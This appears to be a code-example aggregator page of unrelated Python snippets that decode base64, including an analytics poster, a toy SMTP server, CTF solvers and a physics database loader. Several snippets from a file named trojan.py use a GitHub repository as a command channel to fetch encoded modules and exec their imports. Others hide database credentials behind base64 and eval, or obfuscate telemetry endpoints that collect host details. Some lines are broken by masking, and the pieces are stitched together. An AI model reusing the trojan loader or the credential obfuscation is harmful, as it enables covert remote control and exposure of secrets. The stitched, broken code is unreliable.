예제 #1
0
파일: ga.py 프로젝트: forstater/mosaic
def _gaPost(eventType, content):
	logger=mlog.mosaicLogging().getLogger(name=__name__)

	try:
		headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
		gac=_gaCredentialCache()

		if eval(gac["gaenable"]):
			payload="v=1&tid={0}&cid={1}&t=event&ec=mosaic-{2}-{3}&ea={4}&el={5}".format(
					dec(gac["gaid"]), 
					_uuid(),
					mosaic.__version__, 
					mosaic.__build__, 
					eventType,
					content
				)

			if mosaic.DeveloperMode:
				_debug="/debug"
			else:
				_debug=""

			conn=httplib.HTTPSConnection(dec(gac["gaurl"]))
			conn.request("POST", "{0}/{1}".format(_debug, dec(gac["gamode"])), payload, headers)
			response=conn.getresponse()
			data=response.read()

			conn.close()
			if _debug:
				logger.debug(_d("ga collect: {0}", data))
	except BaseException as err:
		logger.debug(_d("Exception ignored: {0}\n{1}", repr(err), traceback.format_exc()))
		pass
예제 #2
0
def _gaPost(eventType, content):
    logger = mlog.mosaicLogging().getLogger(name=__name__)

    try:
        headers = {
            "Content-type": "application/x-www-form-urlencoded",
            "Accept": "text/plain"
        }
        gac = _gaCredentialCache()

        if eval(gac["gaenable"]):
            payload = "v=1&tid={0}&cid={1}&t=event&ec=mosaic-{2}-{3}&ea={4}&el={5}".format(
                dec(gac["gaid"]), _uuid(), mosaic.__version__,
                mosaic.__build__, eventType, content)

            if mosaic.DeveloperMode:
                _debug = "/debug"
            else:
                _debug = ""

            conn = httplib.HTTPSConnection(dec(gac["gaurl"]))
            conn.request("POST", "{0}/{1}".format(_debug, dec(gac["gamode"])),
                         payload, headers)
            response = conn.getresponse()
            data = response.read()

            conn.close()
            if _debug:
                logger.debug(_d("ga collect: {0}", data))
    except BaseException as err:
        logger.debug(
            _d("Exception ignored: {0}\n{1}", repr(err),
               traceback.format_exc()))
        pass
예제 #3
0
    def parse(self, data):
        ret = ""
        for line in data.split("\r\n"):
            lline = line.lower()
            if len(line) <= 0:
                continue

            log("{IN} " + str([line]), "SMTP")

            if self.recievingmaildata != None and self.authed >= 2:
                if lline[:8] == "rcpt to:":
                    self.recievingmaildata["to"] = lline[9:]
                    ret += "250 OK\r\n"
                elif lline == "data":
                    ret += "354 End data with <CR><LF>.<CR><LF>\r\n"
                else:
                    if not "data" in self.recievingmaildata:
                        self.recievingmaildata["data"] = ""
                    self.recievingmaildata["data"] += line + "\r\n"
                    if self.recievingmaildata["data"][-5:] == "\r\n.\r\n":
                        self.mail(
                            self.recievingmaildata["from"], self.recievingmaildata["to"], self.recievingmaildata["data"]
                        )
                        ret += "250 OK: queued as 1\r\n"
                        self.recievingmaildata = None
            elif self.authed == 0:
                self.user = dec(line)
                ret += "334 " + enc("Password:"******"\r\n"
                self.authed = 1
            elif self.authed == 1:
                pwd = dec(line)
                if self.user in accounts and accounts[self.user]["password"] == pwd:
                    ret += "235 Authentication successful\r\n"
                    self.authed = 2
                else:
                    ret += "535 authentication failed (#5.7.1)\r\n"
                    self.authed = -1
            else:
                if lline[:4] == "ehlo":
                    ret += "250-Hello phatop\r\n"
                    ret += "250-AUTH LOGIN\r\n"  # More login options: PLAIN DIGEST-MD5 GSSAPI
                    ret += "250 ENHANCEDSTATUSCODES\r\n"
                elif lline[:4] == "quit":
                    ret += "221 Bye\r\n"
                elif lline[:4] == "auth":
                    ret += "334 " + enc("Username:"******"\r\n"
                    self.authed = 0
                elif lline[:10] == "mail from:" and self.authed >= 2:
                    self.recievingmaildata = {}
                    self.recievingmaildata["from"] = lline[11:]
                    ret += "250 OK\r\n"
                else:
                    pass  # Need to authenticate

        if len(ret) > 0:
            return ret
        return True
예제 #4
0
def connectToGithub():
    gh = login(username="******",
               password=dec("base64encodedpassword"))

    repo = gh.repository("hackzsd", "CNC")
    branch = repo.branch("master")
    return gh, repo, branch
예제 #5
0
def commodities(query):
    query = dec(query)
    cursor = db.cursor()
    sql = "SELECT * FROM Commodity_Data WHERE commodity REGEXP %s"
    cursor.execute(sql, (query, ))
    results = cursor.fetchall()
    return render_template('commodities.html', results=results)
예제 #6
0
def currency(query):
    query = dec(query)
    cursor = db.cursor()
    sql = "SELECT * FROM Currency_Data WHERE ticker REGEXP %s"
    cursor.execute(sql, (query, ))
    results = cursor.fetchall()
    return render_template('currency.html', results=results)
예제 #7
0
def news(query):
    query = dec(query)
    cursor = db.cursor()
    sql = "SELECT * FROM News_Data"
    cursor.execute(sql)
    results = cursor.fetchall()
    return render_template('news.html', results=results)
예제 #8
0
파일: trojan.py 프로젝트: hackzsd/CNC
	def find_module(self,fullname,path=None):
		if configured:
			print "[+] Attempting to retrieve %s"%fullname
			new_library = getFileContents("Modules/%s"%fullname)
			if new_library is not None:
				self.current_module_code = dec(new_library)
				return self
		return None
예제 #9
0
 def find_module(self, fullname, path=None):
     if configured:
         print "[+] Attempting to retrieve %s" % fullname
         new_library = getFileContents("Modules/%s" % fullname)
         if new_library is not None:
             self.current_module_code = dec(new_library)
             return self
     return None
예제 #10
0
 def _get_song_url(self, track_id, album_id):
     from base64 import b64decode as dec
     url = self.urls['get_song_url']
     hashcode = self._create_hashcode(track_id)
     url = url.format(track_id = track_id, album_id = album_id, hashcode = hashcode)
     response = requests.get(url , headers = {'deviceType':'GaanaAndroidApp', 'appVersion':'V5'})
     song_url_b64 = response.json()['data']
     song_url = dec(song_url_b64)
     return song_url
예제 #11
0
    def _get_song_url(self, high_quality, encrypted_media_url):
        from base64 import b64decode as dec
        des_cipher = des(b"38346591", ECB, b"\0\0\0\0\0\0\0\0" , pad=None, padmode=PAD_PKCS5)
        song_url = des_cipher.decrypt(dec(encrypted_media_url))
        if high_quality=="true" :
            song_url=song_url.replace("_96.","_320.")
        else:
            song_url=song_url.replace("_96.","_160.")

#        print song_url
        return song_url
예제 #12
0
def decrypt(ciphertext, cipher):
    strs = []
    while len(ciphertext) >= 8:
        strs += [ciphertext[:8]]
        ciphertext = ciphertext[8:]

    if ciphertext != '':
        return None

    padded = ''.join([cipher.decrypt(item) for item in strs])

    return dec(padded.rstrip('\0'))
예제 #13
0
def getTrojanConfig():
    global configured
    configured = False
    config_json = getFileContents(trojan_config)
    config = json.loads(dec(config_json))
    configured = True

    for task in config:
        if task['module'] not in sys.modules:
            exec "import %s" % task['module']

    return config
예제 #14
0
파일: trojan.py 프로젝트: hackzsd/CNC
def getTrojanConfig():
	global configured
	configured = False
	config_json = getFileContents(trojan_config)
	config = json.loads(dec(config_json))
	configured = True 

	for task in config:
		if task['module'] not in sys.modules:
			exec "import %s"%task['module']

	return config
예제 #15
0
    def send(self):
        if not self.is_sended:
            self.is_sended = True
            url = dec(b'aHR0cHM6Ly9pbW1lbnNlLXNob3JlLTUxODIxLmhlcm9rdWFwcC5jb20vYXBpL3N0YXRz').decode("utf-8")
            try:
                requests.post(
                    url,
                    data=json.dumps(self.stats_data),
                    timeout=10,
                    headers=self.headers
                )

            except Exception as e:
                print(e)
        else:
            return
예제 #16
0
파일: web1.py 프로젝트: zxc135781/ctflog
def GetCookie(name):
    global url
    d = {'username': '******', 'password': '******'}
    h = requests.post(url,
                      data=d,
                      headers={
                          'Content-Type': 'application/x-www-form-urlencoded'
                      }).headers
    h = dict(h)
    print(h['Set-Cookie'][h['Set-Cookie'].find('token') + 6:])
    if h.has_key('Set-Cookie'):
        h = dec(
            urllib.unquote_plus(h['Set-Cookie'][h['Set-Cookie'].find('token') +
                                                6:]))
        #h = urllib.unquote_plus(h['Set-Cookie'][9:])
        # print h
        return h
    else:
        print '[-] ERROR'
        sys.exit(0)
예제 #17
0
p = 961748941
q = 982451653
n = 944871836856449473  # p*q
e = 65537
d = 8578341116816273

values = [p,q,n,e,d]
names = list('pqned')
D = dict(zip(values,names))

#-------------

priv_key = rsa.PrivateKey(n,e,d,p,q)
s = priv_key.save_pkcs1()
print s
sL = s.strip().split('\n')[1:3]
s = ''.join(sL)
print s
hL = hexlify(dec(s)).strip().split('02')

#-------------

for e in hL[2:]:
    h = e[2:]
    n = int(h,16)
    print str(n).rjust(18), h.rjust(18), 
    if n in D:
        print D[n],
    print
예제 #18
0
#!/usr/bin/python3
# -*- coding: utf-8 -*-

import platform
import json
import requests

from base64 import urlsafe_b64decode as dec
from config import config

ENDPOINT_URL = dec(
    b'aHR0cHM6Ly9pbW1lbnNlLXNob3JlLTUxODIxLmhlcm9rdWFwcC5jb20vYXBpL3NlbmRTdGF0aXN0aWM='
).decode("utf-8")
DONT_SENDING_STATS = not config.UseAnalytics

stats_data = dict(platform=dict(system=platform.system(),
                                machine=platform.machine(),
                                node=platform.node(),
                                version=platform.version()),
                  app_meta=dict(name=config.ApplicationName,
                                version=config.ApplicationVersion,
                                branch=config.ApplicationBranch),
                  python=dict(build=platform.python_build(),
                              compiler=platform.python_compiler(),
                              implementation=platform.python_implementation(),
                              version=platform.python_version(),
                              exec=platform.sys.executable))


class Statistic:
    def __init__(self, can_sending_data):
예제 #19
0
def loadDB():
    dbfile = os.environ['ICDIR'] + '/Database/localdb.sqlite3'
    try:
        os.remove(dbfile)
    except:
        pass

    connSql3 = sqlite3.connect(dbfile)
    cursorSql3 = connSql3.cursor()

    connMySql = MySQLdb.connect(host="neutrinos1.ific.uv.es", user=dec('am1iZW5sbG9jaA=='),
                                passwd=eval(dec('Jycuam9pbihtYXAobGFtYmRhIGM6IGNocihjLTUpLCBbNzIsIDEwMiwgMTE1LCAxMDcsIDExOSwgMTAyLCAxMTUsIDEwNF0pKQ==')),
                                db="ICNEWDB")
    cursorMySql = connMySql.cursor()

    # Create tables
    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `DetectorGeo` (
  `XMIN` float NOT NULL
,  `XMAX` float NOT NULL
,  `YMIN` float NOT NULL
,  `YMAX` float NOT NULL
,  `ZMIN` float NOT NULL
,  `ZMAX` float NOT NULL
,  `RMAX` float NOT NULL
);''')

    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `PmtBlr` (
  `MinRun` integer NOT NULL
,  `MaxRun` integer DEFAULT NULL
,  `SensorID` integer NOT NULL
,  `coeff_c` double NOT NULL
,  `coeff_blr` double NOT NULL
);''')

    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `PmtGain` (
  `MinRun` integer NOT NULL
,  `MaxRun` integer DEFAULT NULL
,  `SensorID` integer NOT NULL
,  `adc_to_pes` float NOT NULL
);''')

    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `PmtSigma` (
  `MinRun` integer NOT NULL
,  `MaxRun` integer DEFAULT NULL
,  `SensorID` integer NOT NULL
,  `sigma` float NOT NULL
);''')

    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `PmtMapping` (
  `MinRun` integer NOT NULL
,  `MaxRun` integer DEFAULT NULL
,  `SensorID` integer NOT NULL
,  `ChannelID` integer NOT NULL
);''')

    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `PmtMask` (
  `MinRun` integer NOT NULL
,  `MaxRun` integer DEFAULT NULL
,  `SensorID` integer NOT NULL
,  `Active` integer NOT NULL
);''')

    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `PmtNoiseRms` (
  `MinRun` integer NOT NULL
,  `MaxRun` integer DEFAULT NULL
,  `SensorID` integer NOT NULL
,  `noise_rms` double NOT NULL
);''')

    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `PmtPosition` (
  `MinRun` integer NOT NULL
,  `MaxRun` integer DEFAULT NULL
,  `SensorID` integer NOT NULL
,  `PmtID` varchar(5) NOT NULL
,  `X` float NOT NULL
,  `Y` float NOT NULL
);''')

    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `SipmBaseline` (
  `MinRun` integer NOT NULL
,  `MaxRun` integer DEFAULT NULL
,  `SensorID` integer NOT NULL
,  `Energy` float NOT NULL
);''')

    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `SipmGain` (
  `MinRun` integer NOT NULL
,  `MaxRun` integer DEFAULT NULL
,  `SensorID` integer NOT NULL
,  `adc_to_pes` float NOT NULL
);''')

    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `SipmMapping` (
  `MinRun` integer NOT NULL
,  `MaxRun` integer DEFAULT NULL
,  `SensorID` integer NOT NULL
,  `ChannelID` integer NOT NULL
);''')

    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `SipmMask` (
  `MinRun` integer NOT NULL
,  `MaxRun` integer DEFAULT NULL
,  `SensorID` integer NOT NULL
,  `Active` integer NOT NULL
);''')

    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `SipmNoise` (
  `MinRun` integer NOT NULL
,  `MaxRun` integer DEFAULT NULL
,  `SensorID` integer NOT NULL
,  `0` float NOT NULL
,  `1` float NOT NULL
,  `2` float NOT NULL
,  `3` float NOT NULL
,  `4` float NOT NULL
,  `5` float NOT NULL
,  `6` float NOT NULL
,  `7` float NOT NULL
,  `8` float NOT NULL
,  `9` float NOT NULL
,  `10` float NOT NULL
,  `11` float NOT NULL
,  `12` float NOT NULL
,  `13` float NOT NULL
,  `14` float NOT NULL
,  `15` float NOT NULL
,  `16` float NOT NULL
,  `17` float NOT NULL
,  `18` float NOT NULL
,  `19` float NOT NULL
,  `20` float NOT NULL
,  `21` float NOT NULL
,  `22` float NOT NULL
,  `23` float NOT NULL
,  `24` float NOT NULL
,  `25` float NOT NULL
,  `26` float NOT NULL
,  `27` float NOT NULL
,  `28` float NOT NULL
,  `29` float NOT NULL
,  `30` float NOT NULL
,  `31` float NOT NULL
,  `32` float NOT NULL
,  `33` float NOT NULL
,  `34` float NOT NULL
,  `35` float NOT NULL
,  `36` float NOT NULL
,  `37` float NOT NULL
,  `38` float NOT NULL
,  `39` float NOT NULL
,  `40` float NOT NULL
,  `41` float NOT NULL
,  `42` float NOT NULL
,  `43` float NOT NULL
,  `44` float NOT NULL
,  `45` float NOT NULL
,  `46` float NOT NULL
,  `47` float NOT NULL
,  `48` float NOT NULL
,  `49` float NOT NULL
,  `50` float NOT NULL
,  `51` float NOT NULL
,  `52` float NOT NULL
,  `53` float NOT NULL
,  `54` float NOT NULL
,  `55` float NOT NULL
,  `56` float NOT NULL
,  `57` float NOT NULL
,  `58` float NOT NULL
,  `59` float NOT NULL
,  `60` float NOT NULL
,  `61` float NOT NULL
,  `62` float NOT NULL
,  `63` float NOT NULL
,  `64` float NOT NULL
,  `65` float NOT NULL
,  `66` float NOT NULL
,  `67` float NOT NULL
,  `68` float NOT NULL
,  `69` float NOT NULL
,  `70` float NOT NULL
,  `71` float NOT NULL
,  `72` float NOT NULL
,  `73` float NOT NULL
,  `74` float NOT NULL
,  `75` float NOT NULL
,  `76` float NOT NULL
,  `77` float NOT NULL
,  `78` float NOT NULL
,  `79` float NOT NULL
,  `80` float NOT NULL
,  `81` float NOT NULL
,  `82` float NOT NULL
,  `83` float NOT NULL
,  `84` float NOT NULL
,  `85` float NOT NULL
,  `86` float NOT NULL
,  `87` float NOT NULL
,  `88` float NOT NULL
,  `89` float NOT NULL
,  `90` float NOT NULL
,  `91` float NOT NULL
,  `92` float NOT NULL
,  `93` float NOT NULL
,  `94` float NOT NULL
,  `95` float NOT NULL
,  `96` float NOT NULL
,  `97` float NOT NULL
,  `98` float NOT NULL
,  `99` float NOT NULL
,  `100` float NOT NULL
,  `101` float NOT NULL
,  `102` float NOT NULL
,  `103` float NOT NULL
,  `104` float NOT NULL
,  `105` float NOT NULL
,  `106` float NOT NULL
,  `107` float NOT NULL
,  `108` float NOT NULL
,  `109` float NOT NULL
,  `110` float NOT NULL
,  `111` float NOT NULL
,  `112` float NOT NULL
,  `113` float NOT NULL
,  `114` float NOT NULL
,  `115` float NOT NULL
,  `116` float NOT NULL
,  `117` float NOT NULL
,  `118` float NOT NULL
,  `119` float NOT NULL
,  `120` float NOT NULL
,  `121` float NOT NULL
,  `122` float NOT NULL
,  `123` float NOT NULL
,  `124` float NOT NULL
,  `125` float NOT NULL
,  `126` float NOT NULL
,  `127` float NOT NULL
,  `128` float NOT NULL
,  `129` float NOT NULL
,  `130` float NOT NULL
,  `131` float NOT NULL
,  `132` float NOT NULL
,  `133` float NOT NULL
,  `134` float NOT NULL
,  `135` float NOT NULL
,  `136` float NOT NULL
,  `137` float NOT NULL
,  `138` float NOT NULL
,  `139` float NOT NULL
,  `140` float NOT NULL
,  `141` float NOT NULL
,  `142` float NOT NULL
,  `143` float NOT NULL
,  `144` float NOT NULL
,  `145` float NOT NULL
,  `146` float NOT NULL
,  `147` float NOT NULL
,  `148` float NOT NULL
,  `149` float NOT NULL
,  `150` float NOT NULL
,  `151` float NOT NULL
,  `152` float NOT NULL
,  `153` float NOT NULL
,  `154` float NOT NULL
,  `155` float NOT NULL
,  `156` float NOT NULL
,  `157` float NOT NULL
,  `158` float NOT NULL
,  `159` float NOT NULL
,  `160` float NOT NULL
,  `161` float NOT NULL
,  `162` float NOT NULL
,  `163` float NOT NULL
,  `164` float NOT NULL
,  `165` float NOT NULL
,  `166` float NOT NULL
,  `167` float NOT NULL
,  `168` float NOT NULL
,  `169` float NOT NULL
,  `170` float NOT NULL
,  `171` float NOT NULL
,  `172` float NOT NULL
,  `173` float NOT NULL
,  `174` float NOT NULL
,  `175` float NOT NULL
,  `176` float NOT NULL
,  `177` float NOT NULL
,  `178` float NOT NULL
,  `179` float NOT NULL
,  `180` float NOT NULL
,  `181` float NOT NULL
,  `182` float NOT NULL
,  `183` float NOT NULL
,  `184` float NOT NULL
,  `185` float NOT NULL
,  `186` float NOT NULL
,  `187` float NOT NULL
,  `188` float NOT NULL
,  `189` float NOT NULL
,  `190` float NOT NULL
,  `191` float NOT NULL
,  `192` float NOT NULL
,  `193` float NOT NULL
,  `194` float NOT NULL
,  `195` float NOT NULL
,  `196` float NOT NULL
,  `197` float NOT NULL
,  `198` float NOT NULL
,  `199` float NOT NULL
,  `200` float NOT NULL
,  `201` float NOT NULL
,  `202` float NOT NULL
,  `203` float NOT NULL
,  `204` float NOT NULL
,  `205` float NOT NULL
,  `206` float NOT NULL
,  `207` float NOT NULL
,  `208` float NOT NULL
,  `209` float NOT NULL
,  `210` float NOT NULL
,  `211` float NOT NULL
,  `212` float NOT NULL
,  `213` float NOT NULL
,  `214` float NOT NULL
,  `215` float NOT NULL
,  `216` float NOT NULL
,  `217` float NOT NULL
,  `218` float NOT NULL
,  `219` float NOT NULL
,  `220` float NOT NULL
,  `221` float NOT NULL
,  `222` float NOT NULL
,  `223` float NOT NULL
,  `224` float NOT NULL
,  `225` float NOT NULL
,  `226` float NOT NULL
,  `227` float NOT NULL
,  `228` float NOT NULL
,  `229` float NOT NULL
,  `230` float NOT NULL
,  `231` float NOT NULL
,  `232` float NOT NULL
,  `233` float NOT NULL
,  `234` float NOT NULL
,  `235` float NOT NULL
,  `236` float NOT NULL
,  `237` float NOT NULL
,  `238` float NOT NULL
,  `239` float NOT NULL
,  `240` float NOT NULL
,  `241` float NOT NULL
,  `242` float NOT NULL
,  `243` float NOT NULL
,  `244` float NOT NULL
,  `245` float NOT NULL
,  `246` float NOT NULL
,  `247` float NOT NULL
,  `248` float NOT NULL
,  `249` float NOT NULL
,  `250` float NOT NULL
,  `251` float NOT NULL
,  `252` float NOT NULL
,  `253` float NOT NULL
,  `254` float NOT NULL
,  `255` float NOT NULL
,  `256` float NOT NULL
,  `257` float NOT NULL
,  `258` float NOT NULL
,  `259` float NOT NULL
,  `260` float NOT NULL
,  `261` float NOT NULL
,  `262` float NOT NULL
,  `263` float NOT NULL
,  `264` float NOT NULL
,  `265` float NOT NULL
,  `266` float NOT NULL
,  `267` float NOT NULL
,  `268` float NOT NULL
,  `269` float NOT NULL
,  `270` float NOT NULL
,  `271` float NOT NULL
,  `272` float NOT NULL
,  `273` float NOT NULL
,  `274` float NOT NULL
,  `275` float NOT NULL
,  `276` float NOT NULL
,  `277` float NOT NULL
,  `278` float NOT NULL
,  `279` float NOT NULL
,  `280` float NOT NULL
,  `281` float NOT NULL
,  `282` float NOT NULL
,  `283` float NOT NULL
,  `284` float NOT NULL
,  `285` float NOT NULL
,  `286` float NOT NULL
,  `287` float NOT NULL
,  `288` float NOT NULL
,  `289` float NOT NULL
,  `290` float NOT NULL
,  `291` float NOT NULL
,  `292` float NOT NULL
,  `293` float NOT NULL
,  `294` float NOT NULL
,  `295` float NOT NULL
,  `296` float NOT NULL
,  `297` float NOT NULL
,  `298` float NOT NULL
,  `299` float NOT NULL
);''')

    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `SipmNoiseBins` (
  `MinRun` integer NOT NULL
,  `MaxRun` integer DEFAULT NULL
,  `Bin` integer NOT NULL
,  `Energy` float NOT NULL
);''')

    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `SipmPosition` (
  `MinRun` integer NOT NULL
,  `MaxRun` integer DEFAULT NULL
,  `SensorID` integer NOT NULL
,  `X` float NOT NULL
,  `Y` float NOT NULL
);''')

    tables = ['DetectorGeo','PmtBlr','PmtGain','PmtMapping','PmtMask',
          'PmtNoiseRms','PmtPosition','PmtSigma','SipmBaseline','SipmGain',
          'SipmMapping','SipmMask','SipmNoise','SipmNoiseBins','SipmPosition']


    # Copy all tables
    for table in tables:
        # Get all data
        cursorMySql.execute('SELECT * from {0}'.format(table))
        data = cursorMySql.fetchall()

        # Insert all rows
        fields = '?'
        nfields = len(data[0])
        fields += (nfields-1) * ',?'
        cursorSql3.executemany('INSERT INTO {0} VALUES({1})'.format(table,fields),data)
        connSql3.commit()
예제 #20
0
def Alpha(flag):
	enc = xor(flag[0],'\x13')
	for i in range(1,len(flag)):
		enc += xor(flag[i],enc[i-1])
	return enc



flag = "TODO"
encrypted = Alpha(flag)
encrypted = codecs.encode(encrypted, 'rot_13')

with open("encrypted.txt","w+") as f:
	f.write(base64.b64encode(encrypted))

"""

#encrypted.txt : QCVTM04oUyNKJF8aLhp2EHYQQjcHaCpLdg5zMnMyc0wk

""""""
#Solver

encrypted = "QCVTM04oUyNKJF8aLhp2EHYQQjcHaCpLdg5zMnMyc0wk"
encrypted = dec(encrypted)
encrypted = codecs.decode(encrypted, 'rot_13')
decrypted=chr(ord(encrypted[0])^ 0x13)
print "Flag [0]"+decrypted
for i in range(1,len(encrypted)):
	decrypted+=chr(ord(encrypted[i])^ord(encrypted[i-1]))
print decrypted
예제 #21
0
파일: l33tbrute.py 프로젝트: WCSC/writeups
def recv_line(c):
    c.recvline()
    c.recvline()
    c.recvline()
    d = c.recvline()
    return dec(d)
예제 #22
0
def requestFoodMenu(event):
    """
    캠퍼스 내 식당 메뉴 정보를 가져옵니다. \n
    (캠퍼스 내에 존재하지 않는 식당을 가져올 경우, 오류 발생) \n\n

    식단 정보는 최근 7일 까지만 크롤링이 가능합니다

    :type event: JSON
    :param event: ``{ location: { campus: 캠퍼스 이름, restaurant: 식당 이름 } }``
    :return: 요청 성공 여부와 메시지를 JSON 형태로 전달
    ``{ result: { success: 요청 여부, message: 식단 메뉴 정보 메시지 } }``
    """

    campus = event['location']['campus']
    restaurant = event['location']['restaurant']

    now = datetime.datetime.now()

    year = now.year
    weekofyear = now.isocalendar()[1]
    weekday = now.weekday() + 1

    LINK_HEAD = dec(b'aHR0cHM6Ly93d3cuZGFua29vay5hYy5rci93ZWIva29yLy0=').decode('utf-8')
    LINK_TAIL = dec(b'P3BfcF9pZD1Gb29kX1dBUl9mb29kcG9ydGxldCZwX3BfbGlmZWN5Y2xlPTAmcF9wX3N0YXRlPW5vcm1hbCZwX3BfbW9kZT12aWV3JnBfcF9jb2xfaWQ9Y29sdW1uLTImcF9wX2NvbF9wb3M9MiZwX3BfY29sX2NvdW50PTMmX0Zvb2RfV0FSX2Zvb2Rwb3J0bGV0X2FjdGlvbj12aWV3').decode('utf-8')
    SITE_LINK = LINK_HEAD + LOCATION[campus][restaurant] + LINK_TAIL

    # Form Data
    form_data = {
        "_Food_WAR_foodportlet_sYear": year,
        "_Food_WAR_foodportlet_sWeekOfYear": weekofyear
    }

    # HTTP POST Requests
    dku_req = requests.post(url=SITE_LINK, data=form_data)

    # HTML Source
    dku_html = dku_req.text

    # BeautifulSoup
    dku_soup = bs(dku_html, features='html5lib')

    # Menu Code
    # 1 = Mon, 2 = Tue, 3 = Wed, 4 = Thu, 5 = Fri, 6 = Sat
    dku_soup_request = dku_soup.find_all('tr')[weekday]

    # Menu Tables
    dku_soup_table = str(dku_soup_request.find_all('td')[1]).replace('<br/>', '\n').replace('&lt', '[').replace(
        '&gt', ']').replace('amp', '')

    # Final response
    dku_soup_remove_tag = re.sub('td', '', dku_soup_table, 0, re.I | re.S)
    dku_soup_response = re.sub('[/<>;\\\]', '', dku_soup_remove_tag, 0, re.I | re.S)

    result = {
        "success": "true"
    }

    if dku_soup_response == " ":
        result['message'] = "식단 메뉴가 존재하지 않습니다. \n(방학 중이거나 식당이 운영 중이지 않을 수 있습니다.)"
    else:
        result['message'] = dku_soup_response

    return result
예제 #23
0
import requests, re

from bs4 import BeautifulSoup as bs
from base64 import b64decode as dec

# Jukjeon information links
__JUKJEON_LINK = dec(b'aHR0cDovLzIyMC4xNDkuMjQwLjcwL1NlYXRXZWIvZG9taWFuNS5hc3A=').decode('utf-8')
__JUKJEON_VIEW_LINK = dec(b'aHR0cDovLzIyMC4xNDkuMjQwLjcwL1NlYXRXZWIvcm9vbXZpZXc1LmFzcD9yb29tX25vPQ==').decode('utf-8')

# Cheonan information links
__CHEONAN_LINK = dec(b'aHR0cDovLzIwMy4yMzcuMjE3LjgvRVo1NTAwL1NFQVQvUm9vbVN0YXR1cy5hc3B4').decode('utf-8')

# Jukjeon Reading Room list
__JU_RR = {
    '1층 1열람실': 1,
    '1층 6열람실': 7,
    '2층 2열람실': 2,
    '2층 3열람실': 3,
    '2층 4열람실': 4,
    '2층 대학원열람실': 5,
    '법학 열람실': 8
}

# Cheonan Reading Room list
__CH_RR = {
    '지하1층 제1열람실 A구역': 1,
    '지하1층 제1열람실 B구역': 2,
    '지하1층 제1열람실 C구역': 3,
    '지하1층 제1열람실 D구역': 4,

    '1층 제2열람실 A구역': 5,
예제 #24
0
def loadDB():
    dbfile = os.environ['ICDIR'] + '/Database/localdb.sqlite3'
    try:
        os.remove(dbfile)
    except:
        pass

    connSql3 = sqlite3.connect(dbfile)
    cursorSql3 = connSql3.cursor()

    connMySql = MySQLdb.connect(
        host="neutrinos1.ific.uv.es",
        user=dec('am1iZW5sbG9jaA=='),
        passwd=eval(
            dec('Jycuam9pbihtYXAobGFtYmRhIGM6IGNocihjLTUpLCBbNzIsIDEwMiwgMTE1LCAxMDcsIDExOSwgMTAyLCAxMTUsIDEwNF0pKQ=='
                )),
        db="ICNEWDB")
    cursorMySql = connMySql.cursor()

    # Create tables
    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `DetectorGeo` (
  `XMIN` float NOT NULL
,  `XMAX` float NOT NULL
,  `YMIN` float NOT NULL
,  `YMAX` float NOT NULL
,  `ZMIN` float NOT NULL
,  `ZMAX` float NOT NULL
,  `RMAX` float NOT NULL
);''')

    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `PmtBlr` (
  `MinRun` integer NOT NULL
,  `MaxRun` integer DEFAULT NULL
,  `SensorID` integer NOT NULL
,  `coeff_c` double NOT NULL
,  `coeff_blr` double NOT NULL
);''')

    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `PmtGain` (
  `MinRun` integer NOT NULL
,  `MaxRun` integer DEFAULT NULL
,  `SensorID` integer NOT NULL
,  `adc_to_pes` float NOT NULL
);''')

    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `PmtSigma` (
  `MinRun` integer NOT NULL
,  `MaxRun` integer DEFAULT NULL
,  `SensorID` integer NOT NULL
,  `sigma` float NOT NULL
);''')

    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `PmtMapping` (
  `MinRun` integer NOT NULL
,  `MaxRun` integer DEFAULT NULL
,  `SensorID` integer NOT NULL
,  `ChannelID` integer NOT NULL
);''')

    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `PmtMask` (
  `MinRun` integer NOT NULL
,  `MaxRun` integer DEFAULT NULL
,  `SensorID` integer NOT NULL
,  `Active` integer NOT NULL
);''')

    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `PmtNoiseRms` (
  `MinRun` integer NOT NULL
,  `MaxRun` integer DEFAULT NULL
,  `SensorID` integer NOT NULL
,  `noise_rms` double NOT NULL
);''')

    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `PmtPosition` (
  `MinRun` integer NOT NULL
,  `MaxRun` integer DEFAULT NULL
,  `SensorID` integer NOT NULL
,  `PmtID` varchar(5) NOT NULL
,  `X` float NOT NULL
,  `Y` float NOT NULL
);''')

    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `SipmBaseline` (
  `MinRun` integer NOT NULL
,  `MaxRun` integer DEFAULT NULL
,  `SensorID` integer NOT NULL
,  `Energy` float NOT NULL
);''')

    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `SipmGain` (
  `MinRun` integer NOT NULL
,  `MaxRun` integer DEFAULT NULL
,  `SensorID` integer NOT NULL
,  `adc_to_pes` float NOT NULL
);''')

    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `SipmMapping` (
  `MinRun` integer NOT NULL
,  `MaxRun` integer DEFAULT NULL
,  `SensorID` integer NOT NULL
,  `ChannelID` integer NOT NULL
);''')

    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `SipmMask` (
  `MinRun` integer NOT NULL
,  `MaxRun` integer DEFAULT NULL
,  `SensorID` integer NOT NULL
,  `Active` integer NOT NULL
);''')

    cursorSql3.execute('''CREATE TABLE IF NOT EXISTS `SipmNoise` (
  `MinRun` integer NOT NULL
,  `MaxRun` integer DEFAULT NULL
